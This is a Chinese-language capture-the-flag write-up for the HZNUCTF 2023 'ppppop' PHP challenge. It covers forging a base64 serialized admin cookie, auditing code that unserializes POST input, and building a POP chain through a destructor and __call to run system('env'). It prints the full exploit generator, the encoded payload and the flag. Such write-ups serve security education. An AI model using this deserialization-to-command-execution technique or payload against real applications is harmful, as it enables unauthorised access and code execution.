[HZNUCTF 2023 preliminary]ppppop
点进去之后是一片空白
接着我们打开HackBar 然后我们看到cookie里面有一个base64编码:
Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MDt9
利用在线工具解码得到:
O:4:"User":1:{s:7:"isAdmin";b:0;}
由于序列化中的b代表着Boolean,所以我试着把0改为1。然后用在线工具加密得到:
Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MTt9
将新的编码加入到cookies 中,然后运行之后发现有回显,是一串php代码:
<?php
error_reporting(0);
include('utils.php');
class A {
public $className;
public $funcName;
public $args;
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}
接着我们对代码进行审计:
这段 PHP 代码定义了两个类 A 和 B,并包含了一些对用户输入进行处理的逻辑。整体来看,代码中可能存在安全风险,尤其是在处理用户输入的 payload 时进行反序列化操作。
以下是对代码的详细解读:
<?php
error_reporting(0);关闭 PHP 的错误报告。
include('utils.php');包含名为 utils.php 的文件。
class A {
public $className;用于存储一个类名
public $funcName;用于存储一个方法名
public $args;用于存储传递给方法的参数。
public function __destruct() { 这是 PHP
的析构函数,当对象被销毁时自动调用
$class = new $this->className; 根据存储的
className 创建一个新的对象 $class。
$funcName = $this->funcName;将存储的
funcName 赋值给变量 $funcName。
$class->$funcName($this->args);
调用新创建对象的指定方法,并传入存储的参数。
}
}
class B {
public function __call($func, $arg) { 这是
PHP 的魔术方法,当调用一个不可访问的方法时自动触发。
$func($arg[0]);
}在这个方法中,它将第一个参数 $arg[0](即传入的参
数数组中的第一个元素)作为参数传递给存储在变量 $func
中的函数进行调用。
}
if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
从用户提交的 POST 请求中获取 payload 参数 ,对其进行
base64 解码,然后将结果反转。
unserialize($payload);对处理后的 payload 进行反序列化操作。
}
然后我们反序列化构造pop链,通过A类来触发B类中的__call从而实现任意命令,执行后的回显在class B的__call 魔术方法里,我们需要让func和arg成为我们需要的变量。所以我们构造pop链如下:
<?php
error_reporting(0);
include('utils.php');
class A {
public $className="B";
public $funcName="system";
public $args="env";
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
$a=new A();
echo(base64_encode(strrev(serialize($a))));
?>
利用在线工具运行php代码得到:
然后我们构造payload:
payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw
post 传参,运行得到flag:
由此得到本题flag:
NSSCTF{34f387cb-4c56-4282-aeee-fce453a11d94}